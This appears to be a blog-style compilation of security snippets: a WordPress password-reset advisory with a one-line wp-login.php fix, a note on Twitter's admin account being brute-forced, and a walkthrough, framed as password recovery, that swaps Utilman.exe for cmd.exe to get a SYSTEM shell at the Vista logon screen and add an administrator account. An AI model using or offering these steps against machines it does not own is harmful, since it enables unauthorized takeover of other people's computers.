It is not possible to exploit this vulnerability further which means attackers cannot get access to the user account. It can however be theoretically be used to reset the password regularly to lock the user or admin out of the WordPress blog.

A temporary fix for the remote admin password reset vulnerability was posted. WordPress administrators need to change one line of code in the wp-login.php file of the WordPress installation to protect their blog from the attack. There is no official release fixing this problem, apply this changeset to your wp-login.php.

change line 190 in wp-login.php to

if ( empty( $key ) )

With

    if ( empty( $key ) || is_array( $key ) )

It is advised to apply the temporary fix as soon as possible to WordPress installations.

Here is Twitter’s official explanation.

The password was obtained by a bruteforce method using a wordlist only because Twitter didnt have lockout mechanism for their admin login, and the cracker was able to keep trying new passwords until he got into an admin account of Crystal,who’d chosen the weak password “happiness.”

For those of you who forgot your spiffy new Vista Logon password. Here’s a quick and dirty way to make a new user account. BTW, this has been around since XP but still useful.

Boot into Backtrack and open a shell prompt:

cd /mnt (change directory to mounted drives)
ls (get the list of mounted drives)
cd sda1 (sda1 is the main hard drive)
cd Windows/ (change to the windows directory)
cd System32/ (change to the system directory)
mv Utilman.exe Utilman.old (backup original file)
cp cmd.exe Utilman.exe (copy cmd.exe as utilman.exe)
reboot

once rebooted, at vista logon screen, Press Windows key + U
To invoke Utility Manager ( A.K.A. CMD.exe)
Cmd.exe will spawn with ‘System’ privileges.
c:\>net user S00perAdmin mypassword /add
c:\>net localgroup administrators S00perAdmin /add
Reboot and log in with your newly added Admin account